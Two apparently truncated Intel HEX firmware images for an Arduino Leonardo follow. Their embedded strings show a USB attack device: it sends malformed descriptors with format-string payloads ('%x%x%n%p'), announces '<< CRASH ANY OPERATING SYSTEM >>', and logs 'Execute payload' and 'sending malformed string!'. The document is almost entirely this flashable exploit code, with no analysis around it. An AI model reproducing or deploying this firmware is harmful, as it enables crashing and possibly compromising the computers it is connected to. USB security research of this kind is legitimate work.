:100C7000F80181918F010E941206EDCFDF91CF9193  
:100C80001F910F910895CF93DF93CDB7DEB7DA951B  
:100C90000FB6F894DEBF0FBECDBFFE01EB5FFE4F77  
:100CA000419151919F0160E071E0CE0101960E9457  
:100CB000C706CE0101960E942506D3950FB6F8947B  
:100CC000DEBF0FBECDBFDF91CF9108958F929F926F  
:100CD000AF92BF92CF92DF92EF92FF920F931F934A  
:100CE000CF93DF9300D0CDB7DEB75B0127E335E0CC  
:100CF0003F932F9389839A830E9443068981882E8C  
:100D00009A81992E0F900F9000E010E083E4E82E76  
:100D100085E0F82E96EFC92E93E0D92E0A151B0513  
:100D2000E4F4F40181914F0190E09F938F93FF923F  
:100D3000EF920E9443060F5F1F4FC8018F709927E3  
:100D40000F900F900F900F90892B41F7DF92CF9269  
:100D50000E9443060F900F90E1CF86EF93E09F93A0  
:100D60008F930E9443060F900F900F900F90DF918A  
:100D7000CF911F910F91FF90EF90DF90CF90BF9098  
:100D8000AF909F908F900895F8940C94A809AEE0CE  
:100D9000B0E0EDECF6E00C947F098C01CA0146E06E  
:100DA0004C831A83098377FF02C060E070E86150CA  
:100DB00071097E836D83A901BC01CE0101960E9459  
:100DC000F3064D815E8157FD0AC02F813885421799  
:100DD00053070CF49A01F801E20FF31F10822E96CC  
:100DE000E4E00C949B09ACE0B0E0E9EFF6E00C9491  
:100DF00071097C016B018A01FC01178216828381D3  
:100E000081FFBDC1CE0101964C01F7019381F6012E  
:100E100093FD859193FF81916F01882309F4ABC104  
:100E2000853239F493FD859193FF81916F0185326D  
:100E300029F4B70190E00E94DB08E7CF512C312C58  
:100E400020E02032A0F48B3269F030F4803259F087  
:100E5000833269F420612CC08D3239F0803339F44B  
:100E6000216026C02260246023C0286021C027FDA5  
:100E700027C030ED380F3A3078F426FF06C0FAE08C  
:100E80005F9E300D1124532E13C08AE0389E300D22  
:100E90001124332E20620CC08E3221F426FD6BC14A  
:100EA000206406C08C3611F4206802C0883641F4F4  
:100EB000F60193FD859193FF81916F018111C1CF5F  
:100EC000982F9F7D9554933028F40C5F1F4FFFE3BC  
:100ED000F9830DC0833631F0833771F0833509F023  
:100EE0005BC022C0F801808189830E5F1F4F4424BC  
:100EF0004394512C540115C03801F2E06F0E711C5F  
:100F0000F801A080B18026FF03C0652D70E002C00B  
:100F10006FEF7FEFC5012C870E94D0082C01830161  
:100F20002C852F77222E17C03801F2E06F0E711C2E  
:100F3000F801A080B18026FF03C0652D70E002C0DB  
:100F40006FEF7FEFC5012C870E94C5082C012C850F  
:100F50002068222E830123FC1BC0832D90E04816BD  
:100F60005906B0F4B70180E290E00E94DB083A94A1  
:100F7000F4CFF50127FC859127FE81915F01B70130  
:100F800090E00E94DB0831103A94F1E04F1A5108CA  
:100F90004114510471F7E5C0843611F0893639F5F2  
:100FA000F80127FF07C060817181828193810C5F06  
:100FB0001F4F08C060817181882777FD8095982F29  
:100FC0000E5F1F4F2F76B22E97FF09C09095809528  
:100FD000709561957F4F8F4F9F4F2068B22E2AE00A  
:100FE00030E0A4010E940D09A82EA81844C085373E  
:100FF00029F42F7EB22E2AE030E025C0F22FF97FAF  
:10100000BF2E8F36C1F018F4883579F0B4C0803720  
:1010100019F0883721F0AFC02F2F2061B22EB4FE17  
:101020000DC08B2D8460B82E09C024FF0AC09F2FED  
:101030009660B92E06C028E030E005C020E130E01F  
:1010400002C020E132E0F801B7FE07C06081718183  
:10105000828193810C5F1F4F06C06081718180E0A7  
:1010600090E00E5F1F4FA4010E940D09A82EA81842  
:10107000FB2DFF77BF2EB6FE0BC02B2D2E7FA514A8  
:1010800050F4B4FE0AC0B2FC08C02B2D2E7E05C061  
:101090007A2C2B2D03C07A2C01C0752C24FF0DC097  
:1010A000FE01EA0DF11D8081803311F4297E09C013  
:1010B00022FF06C07394739404C0822F867809F0CF  
:1010C000739423FD13C020FF06C05A2C731418F428  
:1010D000530C5718732C731468F4B70180E290E036  
:1010E0002C870E94DB0873942C85F5CF731410F4C1  
:1010F000371801C0312C24FF12C0B70180E390E003  
:101100002C870E94DB082C8522FF17C021FF03C01B  
:1011100088E590E002C088E790E0B7010CC0822F1C  
:10112000867859F021FD02C080E201C08BE227FDE4  
:101130008DE2B70190E00E94DB08A51438F4B701F6  
:1011400080E390E00E94DB085A94F7CFAA94F40160  
:10115000EA0DF11D8081B70190E00E94DB08A1102B  
:10116000F5CF332009F451CEB70180E290E00E9420  
:10117000DB083A94F6CFF7018681978102C08FEFA2  
:101180009FEF2C96E2E10C948D09FC0105906150D3  
:1011900070400110D8F7809590958E0F9F1F08958D  
:1011A000FC016150704001900110D8F78095909536  
:1011B0008E0F9F1F08950F931F93CF93DF93182FC8  
:1011C000092FEB018B8181FD03C08FEF9FEF20C0C2  
:1011D00082FF10C04E815F812C813D8142175307F1  
:1011E0007CF4E881F9819F012F5F3F4F3983288389  
:1011F000108306C0E885F985812F0995892B29F789  
:101200002E813F812F5F3F4F3F832E83812F902F71  
:10121000DF91CF911F910F910895FA01AA272830ED  
:1012200051F1203181F1E8946F936E7F6E5F7F4FB3  
:101230008F4F9F4FAF4FB1E03ED0B4E03CD0670F2F  
:10124000781F891F9A1FA11D680F791F8A1F911D82  
:10125000A11D6A0F711D811D911DA11D20D009F4D2  
:1012600068943F912AE0269F11243019305D319314  
:10127000DEF6CF010895462F4770405D4193B3E0FD  
:101280000FD0C9F7F6CF462F4F70405D4A3318F0A4  
:10129000495D31FD4052419302D0A9F7EACFB4E055  
:1012A000A6959795879577956795BA95C9F700970D  
:1012B0006105710508959B01AC010A2E06945795AE  
:1012C000479537952795BA95C9F7620F731F841F05  
:1012D000951FA01D0895EE0FFF1F0590F491E02DBE  
:1012E00009942F923F924F925F926F927F928F92CA  
:1012F0009F92AF92BF92CF92DF92EF92FF920F93A5  
:101300001F93CF93DF93CDB7DEB7CA1BDB0B0FB6AE  
:10131000F894DEBF0FBECDBF09942A88398848886B  
:101320005F846E847D848C849B84AA84B984C88401  
:10133000DF80EE80FD800C811B81AA81B981CE0FF8  
:10134000D11D0FB6F894DEBF0FBECDBFED010895DD  
:04135000F894FFCF3F  
:101354001201000200000040AD0BEFBE00010102CB  
:1013640000012203420061006400200042004100A9  
:1013740042004500250078002500780025006E0015  
:10138400250070001803420041004400200043007F  
:1013940030004600460045004500210012010002CD  
:1013A400FF0000407104020600010102030109026A  
:1013B4001B0001010000FA480100500072006F0098  
:1013C4006C006900660069006300000A55000000B3  
:1013D4006BFD180A00809F0AB901312B940A810120  
:1013E4001289460013000257028B0A5E0AF80A5F4C  
:1013F40001F212010002010000400D055702000134  
:1014040001020301B90A0100F80A5F0A810A2203F2  
:101414004200610064002000420041004200450097  
:10142400250078002500780025006E002500700056  
:1014340018034200410044002000430030004600ED  
:101444004600450045002100120100020100004051  
:101454000D05570200010102030109040000030104  
:1014640000000003F20AEC0A09022700010100004F  
:10147400FA01AB0A0904000003010000000902009C  
:1014840020202020205F5F5F5F5F5F5F5F20202060  
:101494002020202020202020202020202020202048  
:1014A400202020202020205F5F5F5F5F205F5F207F  
:1014B400205F2020202020205F5F0A0D00202020B4  
:1014C400202F205F5F5F5F2F202F5F20205F5F5FF3  
:1014D4005F205F5F5F5F5F20205F5F5F5F5F202053  
:1014E4002020202F205F5F5F2F2F202F5F285F2970  
:1014F4005F5F5F5F2F202F5F5F0A0D002020202F8A  
:10150400202F2020202F205F5F205C2F205F5F2072  
:10151400602F205F5F205C2F205F5F5F2F5F5F5F26  
:101524005F205C5F5F205C2F205F5F2F202F205F98  
:101534005F5F2F202F2F5F2F0A0D0020202F202FD9  
:101544005F5F5F2F202F202F202F202F5F2F202F32  
:10155400202F5F2F20285F5F2020292F5F5F5F2FC0  
:10156400205F5F2F202F202F5F2F202F202F5F5FE2  
:101574002F202C3C0A0D0020205C5F5F5F5F2F5FF3  
:101584002F202F5F2F5C5F5F2C5F2F5C5F5F5F5F9F  
:101594002F5F5F5F5F2F20202020202F5F5F5F5F22  
:1015A4002F5C5F5F2F5F2F5C5F5F5F2F5F2F7C5F20  
:1015B4007C0A0D00203C3C204348524153482041C2  
:1015C4004E59204F5045524154494E472053595388  
:1015D40054454D203E3E0A0D00203C3C2028632902  
:1015E4002053657267656A20536368756D696C6F13  
:1015F40020323031352C204F70656E536F75726315  
:10160400652053656375726974792052616C662034  
:101614005370656E6E6562657267203E3E0A0D000A  
:101624000A3E3E20507265737320627574746F6E47  
:1016340020746F20737461727420657865637574A7  
:10164400696F6E2E2E2E0A0D005B44454255475D90  
:101654002045786563757465207061796C6F616489  
:1016640020300A0D00526563762D446174613A0A94  
:101674000D005B44454255475D200953656E642067  
:10168400436F6E66696775726174696F6E446573E2  
:1016940063726970746F720928696E6465783A259B  
:1016A40069292E2E2E0D0A005B44454255475D20C4  
:1016B4000953656E6420496E7465726661636520C2  
:1016C40044657363726970746F720928696E746516  
:1016D40072666163653A2569292E2E2E0D0A005B18  
:1016E40044454255475D200953656E6420456E6448  
:1016F400706F696E742044657363726970746F727D  
:101704000928656E64706F696E743A2569292E2EF6  
:101714002E0D0A005B44454255475D203C3C7061F8  
:101724006E6963206D6F64653F3E3E0D0A005B4445  
:10173400454255475D2009203E3E20537472696E30  
:10174400672044657363726970746F722072657187  
:1017540075657374202D2073656E64696E67206DE2  
:10176400616C666F726D656420737472696E672153  
:101774002073657475702E7756616C75654C203DC9  
:101784003D2025690D0A005B48455844554D505D80  
:0A1794000A0D002530325820000035  
:00000001FF  
  
  
Arduino Leonardo Firmware #2:  
  
:100000000C94A8000C94C5000C94C5000C94C50079  
:100010000C94C5000C94C5000C94C5000C94C5004C  
:100020000C94C5000C94C5000C94D6050C944104A6  
:100030000C94C5000C94C5000C94C5000C94C5002C  
:100040000C94C5000C94C5000C94C5000C94C5001C  
:100050000C94C5000C94C5000C94C5000C942002AF  
:100060000C94C5000C94C5000C94C5000C94C500FC  
:100070000C94C5000C94C5000C94C5000C94C500EC  
:100080000C94C5000C94C5000C94C5000C94C500DC  
:100090000C94C5000C94C5000C94C5000C94C500CC  
:1000A0000C94C5000C94C5000C94C5001D032003DE  
:1000B00013031703410341034103240328032C03C3  
:1000C0003203360341033C030000000200080E0027  
:1000D00000030401000B000000000000000000000D  
:1000E00000000000000004080201104080401020C1  
:1000F00040804080080204018040201002011080EE  
:100100001020404004040404040304050202020217  
:1001100004030202020206060606060604040202A0  
:100120000204000000002300260029002C002F00FC  
:1001300000000000250028002B002E0031000000E8  
:100140000000240027002A002D00300000C180811B  
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077  
:10016000B1E0E8EFF3E102C005900D92A035B107D0  
:10017000D9F725E0A0E5B5E001C01D92AB36B20786  
:10018000E1F70E94C8000C9416070C940000089533  
:10019000CF93DF93CDB7DEB7C95AD1090FB6F89424  
:1001A000DEBF0FBECDBF0E94B3020E94C70060E059  
:1001B00083E00E94420361E087E00E94420361E025  
:1001C00088E00E9442030E946B064E014EE9840EB5  
:1001D000911C84E093E0D40111969C938E9389E066  
:1001E00094E013969C938E93129782E2E2E1F1E001  
:1001F0008E010F5F1F4FD80101900D928A95E1F794  
:1002000088E1E4E3F1E0DE01DF9601900D928A954A  
:10021000E1F782E1ECE4F1E0DE01A95ABF4F019081  
:100220000D928A95E1F789E0EEE5F1E0DE01A9574C  
:10023000BF4F01900D928A95E1F79E0122583F4FE2  
:1002400099E0792EF901472D11924A95E9F7CE01EF  
:100250008B589F4FDC01E72D1D92EA95E9F77E014F  
:10026000F7E9EF0EF11C47E0E7E6F1E0D701019076  
:100270000D924A95E1F7BE0160577F4F47E0E7E6F0  
:10028000F1E0DB0101900D924A95E1F75E0146EA4B  
:10029000A40EB11C47E050E0D5014D935C936E0174  
:1002A000B2EACB0ED11CF60151834083AE014D5D05  
:1002B0005F4FECE1DA011D92EA95E9F76624639459  
:1002C0006CA66AAEF901708224E0522E5182DA01E6  
:1002D000272D01900D922A95E1F79E0128553F4F59  
:1002E0003EA72DA7B8AAAFA6DC017C9211965C921E  
:1002F000119712966C921297FC01A454B109872DA4  
:1003000001900D928A95E1F7FE01EC55FF4FFCAF8D  
:10031000EBAFDEAECDAED901ED92FC92718360837E  
:100320007E01B9E6EB0EF11C8CE0F70111928A9583  
:10033000E9F782E0D70119968C931997FE01E957E6  
:10034000FF4F01900D927A94E1F7F70153874287AE  
:1003500061E088E00E947B0387E392E00E947706D9  
:1003600084E792E00E94770683EB92E00E94770692  
:1003700082EF92E00E9477068EE293E00E94770679  
:100380008BE693E00E94770680E993E00E9477066F  
:1003900087ED93E00E94770683E00E94B103892BEA  
:1003A00009F047C06E01FFE3CF0ED11CAA24A3942D  
:1003B00082E1B82E80E094E00E947706DF92CF922F  
:1003C0001F930F939F928F921F92AF92FF92EF9283  
:1003D0008DB79EB742970FB6F8949EBF0FBE8DBFE4  
:1003E000ADB7BEB71196FE01E95AFF4F8B2D0190B4  
:1003F0000D928A95E1F789E595E00E94150668E877  
:1004000073E180E090E00E948D0289E595E00E9412  
:10041000600660E087E00E947B0368E873E180E0AB  
:1004200090E00E948D020FB6F894DEBF0FBECDBFE4  
:10043000C1CF6AE070E080E090E00E948D02ACCF16  
:100440001F920F920FB60F9211242F933F938F9309  
:100450009F93AF93BF938091510590915205A091C6  
:100460005305B09154053091500523E0230F2D37EB  
:1004700020F40196A11DB11D05C026E8230F0296A8  
:10048000A11DB11D209350058093510590935205F5  
:10049000A0935305B093540580915505909156054E  
:1004A000A0915705B09158050196A11DB11D8093EB  
:1004B000550590935605A0935705B0935805BF91E5  
:1004C000AF919F918F913F912F910F900FBE0F9001  
:1004D0001F9018953FB7F894809155059091560557  
:1004E000A0915705B091580526B5A89B05C02F3F90  
:1004F00019F00196A11DB11D3FBF6627782F892FE6  
:100500009A2F620F711D811D911D42E0660F771FAA  
:10051000881F991F4A95D1F70895CF92DF92EF92E5  
:10052000FF92CF93DF936B017C010E946A02EB0183  
:10053000C114D104E104F10479F00E946A026C1B39  
:100540007D0B683E7340A0F381E0C81AD108E10832  
:10055000F108C851DC4FECCFDF91CF91FF90EF90C5  
:10056000DF90CF900895789484B5826084BD84B57F  
:10057000816084BD85B5826085BD85B5816085BD9E  
:10058000EEE6F0E0808181608083E1E8F0E01082B7  
:10059000808182608083808181608083E0E8F0E0F8  
:1005A000808181608083E1E9F0E0808182608083E6  
:1005B000808181608083E0E9F0E0808181608083D8  
:1005C000E1ECF0E0808184608083808182608083C0  
:1005D000808181608083E3ECF0E0808181608083B2  
:1005E000E0ECF0E0808182608083E2ECF0E08081EA  
:1005F00081608083EAE7F0E080818460808380818D  
:100600008260808380818160808380818068808334  
:10061000089590E0FC013197EE30F10590F5EA5A2B  
:10062000FF4F0C94BD09809180008F7703C08091AB  
:1006300080008F7D80938000089584B58F7702C0FD  
:1006400084B58F7D84BD0895809190008F7707C019  
:10065000809190008F7D03C080919000877F809370  
:10066000900008958091C0008F7703C08091C000F2  
:100670008F7D8093C00008958091C200877F809312  
:10068000C2000895CF93DF9390E0FC01EA51FF4F41  
:100690002491FC01EC5FFE4F8491882349F190E0A6  
:1006A000880F991FFC01E25CFE4FA591B491805D1B  
:1006B0009E4FFC01C591D4919FB7611108C0F89479  
:1006C0008C91209582238C93888182230AC062308A  
:1006D00051F4F8948C91322F309583238C93888138  
:1006E000822B888304C0F8948C91822B8C939FBFBB  
:1006F000DF91CF9108950F931F93CF93DF931F92B4  
:10070000CDB7DEB7282F30E0F901E853FF4F8491D1  
:10071000F901EA51FF4F1491F901EC5FFE4F04918A  
:100720000023C9F0882321F069830E9409036981AD  
:10073000E02FF0E0EE0FFF1FE05DFE4FA591B491BA  
:100740009FB7F8948C91611103C01095812301C06B  
:10075000812B8C939FBF0F90DF91CF911F910F91B1  
:100760000895CF93DF93282F30E0F901E853FF4F2E  
:100770008491F901EA51FF4FD491F901EC5FFE4FEA  
:10078000C491CC2391F081110E940903EC2FF0E079  
:10079000EE0FFF1FEE5DFE4FA591B4912C912D231E  
:1007A00081E090E021F480E002C080E090E0DF9101  
:1007B000CF910895615030F02091F100FC01208329  
:1007C0000196F8CF289884E68093690508951092E1  
:1007D000E90010925D0510925C0590935B05809393  
:1007E0005A050895FF920F931F93CF93DF93F82E2E  
:1007F0008B01EA01BA01C8010E94B806F80120E0A5  
:1008000030E08EEF2C173D0791F1F7FE02C0A49166  
:1008100001C0A08160915C0570915D0540915A0511  
:1008200050915B0564177507ACF49091E8009570E2  
:10083000E1F39091E80092FD1CC0A093F100A0911B  
:100840005C05B0915D051196AF73BB27AB2B11F41E  
:100850008093E800A0915C05B0915D051196B0937E  
:100860005D05A0935C052F5F3F4F3196CBCFC9014B  
:1008700002C08FEF9FEFDF91CF911F910F91FF90FB  
:1008800008951F920F920FB60F9211246F927F92CC  
:100890008F929F92AF92BF92CF92DF92EF92FF9290  
:1008A0000F931F932F933F934F935F936F937F9378  
:1008B0008F939F93AF93BF93EF93FF93CF93DF9368  
:1008C000CDB7DEB76297DEBFCDBF1092E900809151  
:1008D000E80083FF46C168E0CE010A960E94DA0371  
:1008E00082EF8093E8009A8597FF05C08091E80029  
:1008F00080FFFCCF03C08EEF8093E800892F8076C5  
:1009000009F023C18B85811105C01092F10010926E  
:10091000F10020C1282F2D7F213009F41BC1853023  
:1009200049F48091E80080FFFCCF8C85806880933B  
:10093000E30010C1863009F0E1C02D8508891989CE  
:10094000223009F0B3C0EC848E2D90E020915F0539  
:1009500030916005821793070CF09FC00E94E70357  
:100960001F92EF9289E294E09F938F930E949506E5  
:100970008CE0E89E70011124E0916105F091620520  
:10098000EE0DFF1D89E0DE01119601900D928A9512  
:10099000E1F7C8010E94E70349E050E0BE016F5F44  
:1009A0007F4F80E00E94F2030F900F900F900F9006  
:1009B000C12CD12C612C712C3FE5A32E34E0B32E39  
:1009C00046E9842E44E0942EE0916105F0916205A1  
:1009D000EE0DFF1D818590E0681679060CF0BAC017  
:1009E0007F926F92BF92AF920E949506E09161054F  
:1009F000F0916205EE0DFF1D628573856C0D7D1D06  
:100A000049E050E080E00E94F2030F900F900F90B9  
:100A10000F9000E010E0E0916105F0916205EE0DAD  
:100A2000FF1D0284F385E02DEC0DFD1D818590E016  
:100A3000081719075CF51F930F939F928F920E94DE  
:100A40009506E0916105F0916205EE0DFF1D0284AF  
:100A5000F385E02DEC0DFD1DC801880F991FA485BD  
:100A6000B585A80FB91F4D915C910284F385E02DE7  
:100A7000E80FF91F6081718180E00E94F2030F5F2F  
:100A80001F4F0F900F900F900F90C5CF8FEF681AE8  
:100A9000780A8EE0C80ED11C97CF8BEC94E09F9320  
:100AA0008F930E9495060F900F9058C0C8012A8B13  
:100AB0000E94E7032A892130C1F0233009F04EC09B  
:100AC0008C851F928F9385EE94E09F938F930E9465  
:100AD000950642E050E06EE671E080E00E94F2038D  
:100AE0000F900F900F900F9035C04091000150E093  
:100AF00060E071E080E00E94F2032CC0873071F169  
:100B0000883021F481E08093F10024C0893011F510  
:100B1000937021F5EDE4F1E081E021E096E380932C  
:100B2000E9002093EB0034913093EC009093ED00BA  
:100B30008F5F3196843099F78EE78093EA001092A8  
:100B4000EA008C8580935E0505C0888999890E949A  
:100B5000E70304C08EEF8093E80003C081E2809336  
:100B6000EB0062960FB6F894DEBF0FBECDBFDF91EB  
:100B7000CF91FF91EF91BF91AF919F918F917F9115  
:100B80006F915F914F913F912F911F910F91FF9026  
:100B9000EF90DF90CF90BF90AF909F908F907F901D  
:100BA0006F900F900FBE0F901F9018951F920F928D  
:100BB0000FB60F9211248F939F938091E1001092B2  
:100BC000E10083FF0FC01092E90091E09093EB00E9  
:100BD0001092EC0092E39093ED0010925E0598E085  
:100BE0009093F00082FF1AC080916A05882339F043  
:100BF00080916A05815080936A05882369F080910D  
:100C00006905882359F080916905815080936905B1  
:100C1000811104C0289A02C05D9AF1CF9F918F91F3  
:100C20000F900FBE0F901F901895CF93DF93CDB705  
:100C3000DEB782E1FE013596A0E0B1E001900D92B1  
:100C40008A95E1F78F89988D90936205809361056D  
:100C5000898D9A8D9093600580935F058B8D9C8D17  
:100C600090936805809367058D8D9E8D90936605A2  
:100C7000809365058F8D98A190936405809363059B  
:100C800010925E0581E08093D70080EA8093D800BF  
:100C900082E189BD09B400FEFDCF61E070E080E033  
:100CA00090E00E948D0280E98093D8008CE08093D0  
:100CB000E2001092E000559A209ADF91CF910895BA  
:100CC00081E08093E00008959091C80095FFFCCFEB  
:100CD0008093CE0008951092CD0087E68093CC00DB  
:100CE00088E18093C9008EE08093CA0008950F9335  
:100CF0001F93CF93DF93EC018C01FE010190002044  
:100D0000E9F73197EC1BFD0BC8018C1B9D0B8E176F  
:100D10009F0730F4F80181918F010E946406EDCFA6  
:100D2000DF91CF911F910F910895CF93DF93CDB7AE  
:100D3000DEB7DA950FB6F894DEBF0FBECDBFFE0169  
:100D4000EB5FFE4F419151919F0160E071E0CE0158  
:100D500001960E941907CE0101960E947706D3954D  
:100D60000FB6F894DEBF0FBECDBFDF91CF910895CF  
:100D70008F929F92AF92BF92CF92DF92EF92FF92AB  
:100D80000F931F93CF93DF9300D0CDB7DEB75B01F6  
:100D90002EE335E03F932F9389839A830E94950633  
:100DA0008981882E9A81992E0F900F9000E010E093  
:100DB0008AE4E82E85E0F82E9DEFC92E93E0D92E27  
:100DC0000A151B05E4F4F40181914F0190E09F9313  
:100DD0008F93FF92EF920E9495060F5F1F4FC801FD  
:100DE0008F7099270F900F900F900F90892B41F7DC  
:100DF000DF92CF920E9495060F900F90E1CF8DEF7A  
:100E000093E09F938F930E9495060F900F900F9001  
:100E10000F90DF91CF911F910F91FF90EF90DF9096  
:100E2000CF90BF90AF909F908F900895F8940C94BE  
:100E3000FA09AEE0B0E0EFE1F7E00C94D1098C01E3  
:100E4000CA0146E04C831A83098377FF02C060E041  
:100E500070E8615071097E836D83A901BC01CE01E8  
:100E600001960E9445074D815E8157FD0AC02F8182  
:100E70003885421753070CF49A01F801E20FF31F6B  
:100E800010822E96E4E00C94ED09ACE0B0E0EBE4C7  
:100E9000F7E00C94C3097C016B018A01FC01178205  
:100EA0001682838181FFBDC1CE0101964C01F701FD  
:100EB0009381F60193FD859193FF81916F018823C2  
:100EC00009F4ABC1853239F493FD859193FF81918B  
:100ED0006F01853229F4B70190E00E942D09E7CF18  
:100EE000512C312C20E02032A0F48B3269F030F408  
:100EF000803259F0833269F420612CC08D3239F090  
:100F0000803339F4216026C02260246023C0286029  
:100F100021C027FD27C030ED380F3A3078F426FF86  
:100F200006C0FAE05F9E300D1124532E13C08AE0F4  
:100F3000389E300D1124332E20620CC08E3221F4E5  
:100F400026FD6BC1206406C08C3611F4206802C0F7  
:100F5000883641F4F60193FD859193FF81916F01ED  
:100F60008111C1CF982F9F7D9554933028F40C5F49  
:100F70001F4FFFE3F9830DC0833631F0833771F0E3  
:100F8000833509F05BC022C0F801808189830E5F40  
:100F90001F4F44244394512C540115C03801F2E0F2  
:100FA0006F0E711CF801A080B18026FF03C0652D73  
:100FB00070E002C06FEF7FEFC5012C870E9422090D  
:100FC0002C0183012C852F77222E17C03801F2E0E7  
:100FD0006F0E711CF801A080B18026FF03C0652D43  
:100FE00070E002C06FEF7FEFC5012C870E941709E8  
:100FF0002C012C852068222E830123FC1BC0832D0D  
:1010000090E048165906B0F4B70180E290E00E94E3  
:101010002D093A94F4CFF50127FC859127FE8191A3  
:101020005F01B70190E00E942D0931103A94F1E080  
:101030004F1A51084114510471F7E5C0843611F07C  
:10104000893639F5F80127FF07C0608171818281F7  
:1010500093810C5F1F4F08C060817181882777FDE5  
:101060008095982F0E5F1F4F2F76B22E97FF09C0E5  
:1010700090958095709561957F4F8F4F9F4F206819  
:10108000B22E2AE030E0A4010E945F09A82EA81821  
:1010900044C0853729F42F7EB22E2AE030E025C0E7  
:1010A000F22FF97FBF2E8F36C1F018F4883579F012  
:1010B000B4C0803719F0883721F0AFC02F2F2061DE  
:1010C000B22EB4FE0DC08B2D8460B82E09C024FF53  
:1010D0000AC09F2F9660B92E06C028E030E005C0F8  
:1010E00020E130E002C020E132E0F801B7FE07C0A5  
:1010F00060817181828193810C5F1F4F06C0608186  
:10110000718180E090E00E5F1F4FA4010E945F0993  
:10111000A82EA818FB2DFF77BF2EB6FE0BC02B2DD7  
:101120002E7FA51450F4B4FE0AC0B2FC08C02B2DCB  
:101130002E7E05C07A2C2B2D03C07A2C01C0752C75  
:1011400024FF0DC0FE01EA0DF11D8081803311F4F2  
:10115000297E09C022FF06C07394739404C0822FB5  
:10116000867809F0739423FD13C020FF06C05A2C23  
:10117000731418F4530C5718732C731468F4B701D4  
:1011800080E290E02C870E942D0973942C85F5CF86  
:10119000731410F4371801C0312C24FF12C0B701AA  
:1011A00080E390E02C870E942D092C8522FF17C038  
:1011B00021FF03C088E590E002C088E790E0B70116  
:1011C0000CC0822F867859F021FD02C080E201C058  
:1011D0008BE227FD8DE2B70190E00E942D09A51456  
:1011E00038F4B70180E390E00E942D095A94F7CFBC  
:1011F000AA94F401EA0DF11D8081B70190E00E94EC  
:101200002D09A110F5CF332009F451CEB70180E2AA  
:1012100090E00E942D093A94F6CFF70186819781DC  
:1012200002C08FEF9FEF2C96E2E10C94DF09FC01E6  
:101230000590615070400110D8F7809590958E0F01  
:101240009F1F0895FC016150704001900110D8F774  
:10125000809590958E0F9F1F08950F931F93CF93A6  
:10126000DF93182F092FEB018B8181FD03C08FEFD6  
:101270009FEF20C082FF10C04E815F812C813D8195  
:10128000421753077CF4E881F9819F012F5F3F4F9C  
:1012900039832883108306C0E885F985812F099555  
:1012A000892B29F72E813F812F5F3F4F3F832E836C  
:1012B000812F902FDF91CF911F910F910895FA0107  
:1012C000AA27283051F1203181F1E8946F936E7F85  
:1012D0006E5F7F4F8F4F9F4FAF4FB1E03ED0B4E076  
:1012E0003CD0670F781F891F9A1FA11D680F791FB7  
:1012F0008A1F911DA11D6A0F711D811D911DA11DC8  
:1013000020D009F468943F912AE0269F11243019D7  
:10131000305D3193DEF6CF010895462F4770405D72  
:101320004193B3E00FD0C9F7F6CF462F4F70405D21  
:101330004A3318F0495D31FD4052419302D0A9F77C  
:10134000EACFB4E0A6959795879577956795BA9576  
:10135000C9F700976105710508959B01AC010A2E3C  
:1013600006945795479537952795BA95C9F7620F13  
:10137000731F841F951FA01D0895EE0FFF1F05907A  
:10138000F491E02D09942F923F924F925F926F92C9  
:101390007F928F929F92AF92BF92CF92DF92EF9205  
:1013A000FF920F931F93CF93DF93CDB7DEB7CA1B86  
:1013B000DB0B0FB6F894DEBF0FBECDBF09942A88B1  
:1013C000398848885F846E847D848C849B84AA8459  
:1013D000B984C884DF80EE80FD800C811B81AA81E6  
:1013E000B981CE0FD11D0FB6F894DEBF0FBECDBFB1  
:0813F000ED010895F894FFCF10  
:1013F8001201000200000040AD0BEFBE0001010227  
:101408000001220342006100640020004200410004  
:1014180042004500250078002500780025006E0070  
:1014280025007000180342004100440020004300DA  
:101438003000460046004500450021001201000228  
:10144800FF000040710402060001010203010902C5  
:10145800290002010000FA07050102000201480103  
:1014680000500072006F006C00690066006900633C  
:1014780000000A550000006BFD180A00809F0AB999  
:1014880001312B940A810112894600130002570288  
:101498008B0A5E0AF80A5F01F212010002010000DD  
:1014A800400D055702000101020301B90A0100F8C5  
:1014B8000A5F0A810A220342006100640020004298  
:1014C80000410042004500250078002500780025ED  
:1014D800006E0025007000180342004100440020FF  
:1014E8000043003000460046004500450021001238  
:1014F800010002010000400D05570200010102032E  
:101508000109040000030100000003F20AEC0A09C3  
:1015180002270001010000FA01AB0A0904000003D8  
:101528000100000009020020202020205F5F5F5F8B  
:101538005F5F5F5F202020202020202020202020A7  
:1015480020202020202020202020202020205F5F15  
:101558005F5F5F205F5F20205F2020202020205FCA  
:101568005F0A0D00202020202F205F5F5F5F2F2063  
:101578002F5F20205F5F5F5F205F5F5F5F5F2020DE  
:101588005F5F5F5F5F20202020202F205F5F5F2F3D  
:101598002F202F5F285F295F5F5F5F2F202F5F5FFE  
:1015A8000A0D002020202F202F2020202F205F5FD1  
:1015B800205C2F205F5F20602F205F5F205C2F2042  
:1015C8005F5F5F2F5F5F5F5F205C5F5F205C2F2046  
:1015D8005F5F2F202F205F5F5F2F202F2F5F2F0A45  
:1015E8000D0020202F202F5F5F5F2F202F202F201E  
:1015F8002F202F5F2F202F202F5F2F20285F5F2085  
:1016080020292F5F5F5F2F205F5F2F202F202F5F04  
:101618002F202F202F5F5F2F202C3C0A0D00202029  
:101628005C5F5F5F5F2F5F2F202F5F2F5C5F5F2CFA  
:101638005F2F5C5F5F5F5F2F5F5F5F5F2F20202002  
:1016480020202F5F5F5F5F2F5C5F5F2F5F2F5C5FE6  
:101658005F5F2F5F2F7C5F7C0A0D00203C3C20439E  
:10166800485241534820414E59204F504552415409  
:10167800494E472053595354454D203E3E0A0D00CC  
:10168800203C3C202863292053657267656A2053F3  
:101698006368756D696C6F20323031352C204F705E  
:1016A800656E536F757263652053656375726974EF  
:1016B800792052616C66205370656E6E6562657242  
:1016C80067203E3E0A0D000A3E3E20507265737345  
:1016D80020627574746F6E20746F207374617274F5  
:1016E80020657865637574696F6E2E2E2E0A0D005D  
:1016F8005B44454255475D204578656375746520B0  
:101708007061796C6F616420300A0D0052656376F0  
:101718002D446174613A0A0D005B44454255475DAA  
:10172800200953656E6420436F6E66696775726140  
:1017380074696F6E44657363726970746F72092897  
:10174800696E6465783A2569292E2E2E0D0A005B8C  
:1017580044454255475D200953656E6420496E74BF  
:101768006572666163652044657363726970746F3E  
:10177800720928696E746572666163653A2569291C  
:101788002E2E2E0D0A005B44454255475D20095315  
:10179800656E6420456E64706F696E74204465736D  
:1017A80063726970746F720928656E64706F696E10  
:1017B800743A2569292E2E2E0D0A005B44454255A0  
:1017C800475D203C3C70616E6963206D6F64653FC6  
